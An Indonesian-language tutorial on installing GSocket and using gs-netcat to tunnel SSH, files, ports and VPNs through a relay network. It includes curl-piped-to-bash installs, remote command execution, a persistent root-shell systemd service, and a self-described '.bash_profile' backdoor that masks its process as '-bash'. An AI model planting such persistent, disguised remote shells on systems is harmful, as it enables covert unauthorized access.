Install GSocket di Linux

GSocket adalah tool CLI yang dirancang untuk memudahkan koneksi jaringan antar perangkat yang terhalang oleh NAT atau firewall, tanpa memerlukan konfigurasi port forwarding. Tool ini menggunakan jaringan relay global (GSRN) untuk menghubungkan perangkat secara aman, bahkan jika keduanya berada di belakang jaringan yang terbatas.

Install GSocket

GSocket dapat diinstall di Linux, FreeBSD, macOS, Cygwin, dan lainnya menggunakan skrip instalasi atau dengan mengompilasi langsung dari GitHub.

Using Script

Untuk instalasi menggunakan skrip.

bash -c "$(curl -fsSL https://gsocket.io/y)"

Kemudian, Anda bisa mengakses host yang telah terinstall GSocket dengan perintah.

S="ExampleSecretChangeMe" bash -c "$(curl -fsSL https://gsocket.io/y)"

Jika sudah tidak digunakan, Anda dapat menghapusnya dengan cara berikut.

GS_UNDO=1 bash -c "$(curl -fsSL https://gsocket.io/y)"

Compile from GitHub

Install package yang diperlukan untuk proses kompilasi.

sudo apt install make automake autoconf gcc libevent-dev libssl-dev

Selanjutnya, jalankan skrip berikut untuk mengompilasi GSocket dari GitHub.

/bin/bash -c "$(curl -fsSL gsocket.io/install.sh)"

Static Binary

Anda juga bisa mengunduh GSocket melalui GitHub Gsocket.

Using GSocket

Berikut beberapa contoh cara menggunakan Gsocket.

Generate a Secret

gsocket -g

Start SSHD

gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D	   # Workstation A
gsocket -s ExampleSecretChangeMe ssh bob@gsocket	   # Workstation B

File transfer

blitz -s ExampleSecretChangeMe -l	   # Workstation A
blitz -s ExampleSecretChangeMe *.php	# Workstation B

Start SFTP

gs-sftp -s ExampleSecretChangeMe -l	   # Workstation A
gs-sftp -s ExampleSecretChangeMe	      # Workstation B

gs-mount

gs-mount -l                # Workstation A
gs-mount ~/mnt             # Workstation B

Pipe data from Workstation B to Workstation A

gs-netcat -l -r >warez.tar.gz    # Workstation A
gs-netcat <warez.tar.gz          # Workstation B

Execute any command (nc -e style) on Workstation A

gs-netcat -l -e "echo hello world; id; exit"   # Workstation A
gs-netcat                                      # Workstation B

Listen for a new connection

gs-netcat -s MySecret -l   # Workstation A
gs-netcat -s MySecret      # Workstation B

Spawn a PTY login shell when a client connects

gs-netcat -s MySecret -l -i   # Workstation A
gs-netcat -s MySecret -i      # Workstation B

Pipe data from client to server

gs-netcat -s MySecret -l -r >warez.tar.gz    # Workstation A (receive)
gs-netcat -s MySecret <warez.tar.gz          # Workstation B (sending)

Server to act as a SOCKS4/4a/5 server

gs-netcat -s MySecret -l -S      # Workstation A
gs-netcat -s MySecret -p 1080    # Workstation B

TCP Port Forward all connections to 192.168.6.7:22

gs-netcat -s MySecret -l -d 192.168.6.7 -p 22               # Workstation A
gs-netcat -s MySecret -p 2222                               # Workstation B
ssh -p 2222 [email protected]                                  # Workstation B
ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored    # Workstation B

OpenVPN between two firewalled workstations

# Workstation A
gsocket -s MySecret \
 openvpn \
 --dev tun1 \
 --proto tcp-server \
 --port 4422 \
 --ifconfig 10.9.8.1 10.9.8.2 \
 --secret test.key \
 --cipher AES-256-CBC

# Workstation B
gsocket -s MySecret \
 openvpn \
 --dev tun1 \
 --proto tcp-client \
 --port 4422 \
 --ifconfig 10.9.8.2 10.9.8.1 \
 --secret test.key \
 --cipher AES-256-CBC \
 --remote gsocket

Spawn a new docker environment deep inside a private network

gs-netcat -il -e "docker run --rm -it kalilinux/kali-rolling"  # Workstation A
gs-netcat -i                                                   # Workstation B

port-forward

Gsocket juga dapat digunakan untuk port forwarding tanpa mengubah peraturan firewall, NAT, atau router. Sebagai contoh, disini kita akan mencoba melakukan port forwarding pada service MySQL/MariaDB dengan IP 127.0.0.1 dan port 3306.

Buat service gsocket pada server MySQL/MariaDB.

nano /etc/systemd/system/gsocket-mariadb.service
Unit]
Description=Global Socket MariaDB Forward
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 3306

[Install]
WantedBy=multi-user.target

Kemudian start service gsocket-mariadb.

systemctl daemon-reload
systemctl enable --now gsocket-mariadb

Untuk dapat terhubung ke port forwarding, pada sisi client jalankan perintah berikut.

gs-netcat -s ExampleSecretChangeMe -p 3306

Selanjutnya test login.

mysql -h 127.0.0.1 -u admin
Pastikan user database [email protected] sudah dibuat di server.

systemd-root-shell

Untuk mengizinkan pengguna login ke server sebagai root/superuser tanpa mengubah peraturan firewall, NAT, atau router.

Buat file .env untuk menyimpan environment. (opsional)

nano /root/gsocket/.env
GS_HOST=192.156.87.1

Buat service gsocket pada workstation A.

nano /etc/systemd/system/gsocket.service
[Unit]
Description=Global Socket Root Shell
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
EnvironmentFile=/root/gsocket/.env
ExecStart=gs-netcat -k /root/gsocket-key.txt -il

[Install]
WantedBy=multi-user.target

Kemudian buat file yang berisi random key.

gsocket -g > /root/gsocket-key.txt
chmod 600 /root/gsocket-key.txt
# cat gsocket-key.txt
StrongSecretKey

Start service gsocket.

systemctl daemon-reload
systemctl enable --now gsocket

Pastikan service gsocket running.

# systemctl status gsocket
● gsocket.service - Global Socket Root Shell
   Loaded: loaded (/etc/systemd/system/gsocket.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2025-02-21 22:29:49 WIB; 2min 20s ago
 Main PID: 1830 (gs-netcat)
    Tasks: 1 (limit: 10823)
   Memory: 552.0K
   CGroup: /system.slice/gsocket.service
           └─1830 /usr/local/bin/gs-netcat -k ********************* -il
[...]

Pada workstation B, jalankan perintah berikut untuk login sebagai root/superuser ke workstation A.

gs-netcat -s StrongSecretKey -i

user-shell

Untuk mengizinkan akses ke workstation A tanpa hak istimewa root/superuser dan tanpa mengubah peraturan firewall, NAT, atau router.

Tambahkan backdoor berikut ke dalam file .bash_profile pada user di workstation A.

killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s StrongSecretKey -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)

Logout dan login kembali sebagai user untuk menerapkan perubahan.

Pada workstation B, jalankan perintah berikut untuk mengakses workstation A tanpa hak istimewa root/superuser.

gs-netcat -s StrongSecretKey -i

wireguard

Contoh konfigurasi mengalihkan trafik WireGuard ke Global Socket Relay Network.

Server

nano /etc/wireguard/server.conf
[Interface]
# Server
Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s AnyKindOfRandomString -Cul -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat

[Peer]
# Client #1
PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
AllowedIPs = 10.37.0.2/32

Client

nano /etc/wireguard/client.conf
[Interface]
# client. ME
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s AnyKindOfRandomString -Cu -p 31337 &
PostDown = killall -g gs-netcat

[Peer]
# server
Endpoint = 127.0.0.1:31337
PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
AllowedIPs = 10.37.0.0/24
PersistentKeepalive = 25

Aktifkan WireGuard di Server dan Client.

Server

wg-quick up server

Client

wg-quick up client

Referensi: